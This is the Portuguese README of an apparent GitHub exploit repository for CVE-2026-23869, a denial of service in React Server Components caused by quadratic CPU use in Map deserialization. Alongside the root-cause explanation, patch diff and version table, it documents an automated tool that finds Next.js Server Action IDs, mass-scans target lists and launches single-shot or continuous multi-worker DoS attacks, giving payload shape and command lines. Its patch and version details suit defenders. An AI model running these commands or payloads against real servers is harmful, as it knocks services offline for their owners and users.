
Ferramenta automatizada de exploração para CVE-2026-23869, um DoS remoto em React Server Components. Inclui PoC, template Nuclei e scripts de varredura para detecção e exploração.
Negativa de Serviço Remota Não Autenticada via React Flight Protocol
Exaustão Quadrática de CPU na Desserialização de Map em Server Components
Visão Geral • Como Funciona • Ferramentas • Instalação • Uso • Nuclei • Correção • Aviso Legal
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2026-23869 |
| Alias | React2DoS |
| Pontuação CVSS | 7.5 (Alta) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Consumo de Recursos Não Controlado) |
| Tipo | Negativa de Serviço Remota Não Autenticada |
| Descoberto Por | Yohann Sillam (Imperva Threat Research) |
| Afetados | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Corrigido | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Existe uma vulnerabilidade crítica de Negativa de Serviço na desserialização do Flight protocol dos React Server Components. Um atacante não autenticado pode enviar uma única requisição HTTP maliciosa para qualquer endpoint de Server Action do Next.js App Router, causando exaustão quadrática de CPU O(n²) que trava o servidor por minutos.
consumed Ausente na Desserialização de MapO React Flight protocol usa marcadores especiais para serializar tipos de dados. $Q representa um objeto Map. Quando o servidor recebe um payload contendo marcadores $Q0 auto-referenciados:
Payload: [ [1,1], [1,1], ...(n entradas válidas)..., "$Q0", "$Q0", ...(n referências)... ]
Cada $Q0 aciona um construtor new Map() que itera sobre todas as n entradas válidas. O construtor do Map lança um erro (porque as entradas são malformadas), mas o bug crítico é: a flag consumed nunca é definida em caso de falha.
Isso significa que o próximo $Q0 recalcula exatamente o mesmo Map do zero → criando complexidade O(n²):
n entradas válidas × n referências $Q0 = n² chamadas ao construtor do Map
Exemplo: 65.000 × 65.000 = 4.225.000.000 operações
Resultado: Uma única requisição trava a CPU por 5-10+ minutos
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Atacante │ ──────────────────────────────────────▶ │ Servidor Next.js│
│ │ Header: Next-Action: <action_id> │ │
│ │ Body: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% TRAVADA │
└──────────┘ │ por ~5-10 min │
└──────────────────┘
// ReactFlightReplyServer.js — ANTES do patch
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Falha mas não define consumed = true
// O próximo $Q0 recalcula do zero
}
// ReactFlightReplyServer.js — APÓS o patch (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Correção: define a flag ANTES da construção
return new Map(data); // Impede o recálculo repetido
}
| Arquivo | Descrição |
|---|---|
poc.py | Ferramenta de exploração totalmente automática com pipeline de 4 fases (Recon → Extrair → Detectar → Explorar) |
# Clonar o repositório
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Instalar dependência Python
pip install requests
# Tornar os scripts executáveis
chmod +x poc.py scan.sh extract-action-ids.sh
# Para varredura com template Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Para filtragem de alvos vivos
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Basta fornecer a URL — a ferramenta faz tudo automaticamente:
python3 poc.py -u https://target.com
O que acontece:
# Escanear uma lista de domínios/IPs
python3 poc.py -L targets.txt
# Com saída de relatório JSON
python3 poc.py -L targets.txt -o results.json
# Apenas detecção segura
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Exploração de disparo único
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# DoS contínuo (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL URL do alvo (alvo único)
-L, --list FILE Arquivo com URLs/IPs de alvos (um por linha)
-a, --action-id ID ID da Server Action (pular extração automática)
--detect Apenas detecção — segura, não destrutiva (padrão)
--single Exploração de disparo único após detecção
--exploit DoS contínuo após detecção
--extract Apenas extrair IDs de action
-l, --length N Entradas do payload (padrão: 130000)
-w, --workers N Workers concorrentes (padrão: 5)
-d, --delay SEC Atraso entre requisições (padrão: 1.0)
-o, --output FILE Salvar relatório JSON
-t, --threads N Alvos concorrentes para varredura de lista (padrão: 3)
A sintaxe original do PoC ainda funciona:
python3 poc.py <ACTION_ID> <URL>
# Alvo único
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Múltiplos alvos
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Saída limpa (apenas resultados vulneráveis)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Nota: A flag
-itags dosé obrigatória porque o Nuclei exclui templates de DoS por padrão por segurança.
Requisição 1 (GET /) → Identificar Next.js (headers + marcadores HTML)
Requisição 2 (GET /) → Extrair IDs de Server Action de createServerReference()
Requisição 3 (POST /) → Requisição de tempo de linha de base (payload benigno)
Requisição 4 (POST /) → Sonda de exploração (250 válidas + 250 entradas $Q0)
└─ Se tempo de resposta ≥ 3s → VULNERÁVEL
# Executa httpx → filtra alvos vivos → varredura nuclei → resultados
./scan.sh
# Ou especifique arquivos personalizados
./scan.sh targets1.txt targets2.txt
A ferramenta usa detecção baseada em tempo para identificar servidores vulneráveis com segurança:
Uma detecção é confirmada quando:
multipart/form-data anormalmente grandes contendo marcadores $Q/CVE-2026-23869-Exploit/
├── README.md # Este arquivo
├── poc.py # Ferramenta de exploração PoC totalmente automática
├── CVE-2026-23869.yaml # Template de detecção Nuclei
├── scan.sh # Auto-scanner httpx + nuclei
└── extract-action-ids.sh # Extrator autônomo de IDs de action
╔══════════════════════════════════════════════════╗
║ FASE 1 ▸ RECONHECIMENTO ║
╚══════════════════════════════════════════════════╝
✓ Next.js detectado (Next.js)
✓ Build ID: abc123def456
✓ App Router: Server Actions detectadas
╔══════════════════════════════════════════════════╗
║ FASE 2 ▸ EXTRAÇÃO DE ID DE ACTION ║
╚══════════════════════════════════════════════════╝
✓ Encontrados 3 ID(s) de Action:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ FASE 3 ▸ DETECÇÃO DE VULNERABILIDADE ║
╚══════════════════════════════════════════════════╝
[1/2] Linha de base: 0,142s
[2/2] Sonda: 7,891s (55,6x a linha de base)
██ VULNERÁVEL — CVE-2026-23869 CONFIRMADO ██
╔══════════════════════════════════════════════════════════════╗
║ RESULTADOS DA VARREDURA EM LOTE ║
╚══════════════════════════════════════════════════════════════╝
Escaneados : 150 alvos em 45,2s
Vulneráveis : 3
Corrigidos : 12
Ignorados : 135
🔴 ALVOS VULNERÁVEIS
─────────────────────────────────────────────────
# ALVO SONDA PROPORÇÃO
1 vulnerable-app.com 7,89s 55,6x
2 staging.example.com 4,21s 28,1x
3 dev.testsite.org 12,33s 82,2x
⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS
Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. O uso não autorizado desta ferramenta contra alvos que você não possui ou sem permissão explícita para testar é ilegal e pode violar leis de fraude computacional (CFAA, CMA, etc.).
Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta. Sempre obtenha autorização escrita adequada antes de testar qualquer sistema.
Se você achou isso útil, considere dar uma ⭐
CVE-2026-23869.yaml | Template de detecção Nuclei com orquestração baseada em fluxo |
scan.sh | Script wrapper: filtragem de alvos vivos com httpx + varredura nuclei |
extract-action-ids.sh | Extrator autônomo de IDs de Server Action |
| Métrica | Vulnerável | Corrigido |
|---|
| Linha de base (requisição benigna) | ~0,1-0,5s | ~0,1-0,5s |
| Sonda (500 entradas) | 3-10+ segundos | ~0,1-0,5s |
| Proporção (Sonda/Linha de base) | >5x | ~1x |
| Payload completo (130K entradas) | 5-10+ minutos | ~0,1-0,5s |
| Pacote | Vulnerável | Corrigido |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |